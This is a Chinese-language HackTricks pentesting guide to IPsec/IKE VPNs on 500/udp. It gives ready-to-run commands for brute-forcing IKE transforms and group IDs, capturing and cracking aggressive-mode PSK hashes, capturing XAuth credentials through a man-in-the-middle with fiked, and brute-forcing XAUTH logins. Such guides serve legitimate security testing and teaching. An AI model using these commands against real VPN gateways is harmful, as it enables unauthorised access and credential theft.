500/udp - Pentesting IPsec/IKE VPN
Reading time: 18 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
IPsec 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。
在两个点之间建立安全关联(SA)的过程由IKE管理,IKE在ISAKMP的框架下运行,ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:
- 阶段1: 在两个端点之间创建一个安全通道。这是通过使用预共享密钥(PSK)或证书来实现的,采用主模式,该模式涉及三对消息,或激进模式。
- 阶段1.5: 虽然不是强制性的,这个阶段被称为扩展认证阶段,通过要求用户名和密码来验证试图连接的用户的身份。
- 阶段2: 这个阶段专注于协商用于保护数据的ESP和AH的参数。它允许使用与阶段1不同的算法,以确保完美前向保密(PFS),增强安全性。
默认端口: 500/udp
使用 nmap 发现 服务
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
寻找有效的转换
IPSec 配置可以仅准备接受一个或几个转换。转换是值的组合。每个转换包含多个属性,如 DES 或 3DES 作为 加密算法,SHA 或 MD5 作为 完整性算法,预共享密钥作为 认证类型,Diffie-Hellman 1 或 2 作为密钥 分发算法,以及 28800 秒作为 生命周期。
然后,您首先需要做的就是 找到一个有效的转换,这样服务器才能与您通信。为此,您可以使用工具 ike-scan。默认情况下,Ike-scan 在主模式下工作,并向网关发送一个带有 ISAKMP 头和一个包含 八个转换 的单一提案的数据包。
根据响应,您可以获得有关端点的一些信息:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
如您在之前的回复中所见,有一个字段叫做 AUTH,其值为 PSK。这意味着 VPN 是使用预共享密钥配置的(这对渗透测试人员来说非常好)。
最后一行的值也非常重要:
- 0 returned handshake; 0 returned notify: 这意味着目标 不是 IPsec 网关。
- 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的(有效的变换将在输出中显示)。
- 0 returned handshake; 1 returned notify: VPN 网关在 没有变换可接受 时会回复通知消息(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。
然后,在这种情况下,我们已经有了有效的变换,但如果您处于第三种情况,则需要 稍微暴力破解一下以找到有效的变换:
首先,您需要创建所有可能的变换:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
然后使用 ike-scan 对每一个进行暴力破解(这可能需要几分钟):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。然后,你可以尝试使用攻击模式进行相同的暴力破解:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
希望有效的转换被回显。
您可以尝试使用iker.py进行相同的攻击。
您还可以尝试使用ikeforce进行暴力破解转换:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
在 DH 组:14 = 2048 位 MODP 和 15 = 3072 位
2 = HMAC-SHA = SHA1(在这种情况下)。--trans
格式为 $Enc,$Hash,$Auth,$DH
Cisco 指出要避免使用 DH 组 1 和 2,因为它们不够强大。专家认为,资源丰富的国家可以轻易破解使用这些弱组的数据加密。这通过使用一种特殊的方法来实现,使它们能够快速破解代码。尽管设置这种方法的成本很高,但它允许这些强大的国家实时读取加密数据,如果使用的是不强的组(如 1,024 位或更小)。
服务器指纹识别
然后,您可以使用 ike-scan 尝试 发现设备的供应商。该工具发送初始提案并停止重放。然后,它将 分析 从服务器接收到的 消息 与匹配响应模式之间的 时间 差异,渗透测试人员可以成功识别 VPN 网关供应商。此外,一些 VPN 服务器将使用可选的 供应商 ID (VID) 负载 与 IKE。
如有需要,请指定有效的转换(使用 --trans)
如果 IKE 发现供应商,它将打印出来:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
这也可以通过 nmap 脚本 ike-version 来实现。
查找正确的 ID(组名)
为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。
为此,我建议您使用 2 种方法:
使用 ike-scan 进行暴力破解 ID
首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):
ike-scan -P -M -A -n fakeID <IP>
如果没有返回哈希,那么这种暴力破解的方法可能会有效。如果返回了一些哈希,这意味着将会为一个假 ID 发送一个假哈希,因此这种方法对暴力破解 ID 不可靠。例如,可能会返回一个假哈希(这在现代版本中发生):
但如果如我所说,没有返回哈希,那么你应该尝试使用 ike-scan 暴力破解常见的组名。
这个脚本将尝试暴力破解可能的 ID,并返回有效握手的 ID(这将是一个有效的组名)。
如果你发现了特定的转换,请将其添加到 ike-scan 命令中。如果你发现了多个转换,可以自由添加一个新循环来尝试它们所有(你应该尝试它们所有,直到其中一个正常工作)。
你可以使用 ikeforce 的字典或 seclists 中的字典来暴力破解常见的组名:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
使用 Iker 进行 ID 暴力破解
iker.py 也使用 ike-scan 来暴力破解可能的组名。它遵循自己的方法来 根据 ike-scan 的输出找到有效的 ID。
使用 ikeforce 进行 ID 暴力破解
ikeforce.py 是一个可以用来 暴力破解 ID 的工具。该工具将 尝试利用不同的漏洞,以区分 有效 ID 和无效 ID(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
默认情况下,ikeforce 在开始时会发送一些随机 ID 来检查服务器的行为并确定使用的策略。
- 第一种方法是通过 搜索 Cisco 系统的 死对等检测 DPD 信息来暴力破解组名(只有在组名正确时,服务器才会回复此信息)。
- 第二种方法是 检查每次尝试发送的响应数量,因为有时使用正确 ID 时会发送更多数据包。
- 第三种方法是 搜索对无效 ID 的响应中的 "INVALID-ID-INFORMATION"。
- 最后,如果服务器对检查没有任何回复,ikeforce 将尝试暴力破解服务器,并检查在发送正确 ID 时服务器是否回复某些数据包。
显然,暴力破解 ID 的目标是获取 PSK,当你有一个有效的 ID 时。然后,使用 ID 和 PSK 你将需要暴力破解 XAUTH(如果启用的话)。
如果你发现了特定的转换,请将其添加到 ikeforce 命令中。如果你发现了多个转换,可以随意添加一个新循环来尝试它们所有(你应该尝试所有,直到其中一个正常工作)。
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(来自书籍 Network Security Assessment: Know Your Network): 通过嗅探 VPN 客户端和服务器之间的连接,也可以获得有效的用户名,因为包含客户端 ID 的第一个攻击模式数据包是以明文发送的。
Capturing & cracking the hash
最后,如果您找到了 有效的变换 和 组名,并且 允许攻击模式,那么您可以非常轻松地获取可破解的哈希:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
哈希将保存在 hash.txt 中。
您可以使用 psk-crack、john(使用 ikescan2john.py)和 hashcat 来 crack 哈希:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE 结合 Pre-Shared Key (PSK) 通常用于 组认证 目的。此方法通过 XAuth (Extended Authentication) 得到增强,后者引入了额外的 用户认证 层。这样的认证通常利用 Microsoft Active Directory、RADIUS 或类似系统。
转向 IKEv2 时,观察到一个显著的变化,即 EAP (Extensible Authentication Protocol) 被用来替代 XAuth 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
本地网络 MitM 捕获凭证
因此,您可以使用 fiked 捕获登录数据,并查看是否有任何默认用户名(您需要将 IKE 流量重定向到 fiked
进行嗅探,这可以通过 ARP 欺骗来实现,更多信息)。Fiked 将充当 VPN 端点并捕获 XAuth 凭证:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
也可以使用IPSec尝试进行中间人攻击并阻止所有到500端口的流量,如果IPSec隧道无法建立,流量可能会以明文形式发送。
使用ikeforce暴力破解XAUTH用户名和密码
要暴力破解XAUTH(当你知道一个有效的组名id和psk时),你可以使用一个用户名或用户名列表以及一个密码列表:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
这样,ikeforce将尝试使用每个用户名:密码的组合进行连接。
如果您找到一个或多个有效的转换,只需像之前的步骤一样使用它们。
使用IPSEC VPN进行身份验证
在Kali中,VPNC用于建立IPsec隧道。配置文件必须位于目录/etc/vpnc/
中。您可以使用命令_vpnc_来启动这些配置文件。
以下命令和配置说明了使用VPNC设置VPN连接的过程:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
在此设置中:
- 将
[VPN_GATEWAY_IP]
替换为 VPN 网关的实际 IP 地址。 - 将
[VPN_CONNECTION_ID]
替换为 VPN 连接的标识符。 - 将
[VPN_GROUP_SECRET]
替换为 VPN 的组密钥。 - 将
[VPN_USERNAME]
和[VPN_PASSWORD]
替换为 VPN 身份验证凭据。 [PID]
表示在vpnc
启动时将分配的进程 ID。
确保在配置 VPN 时使用实际的、安全的值来替换占位符。
参考材料
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。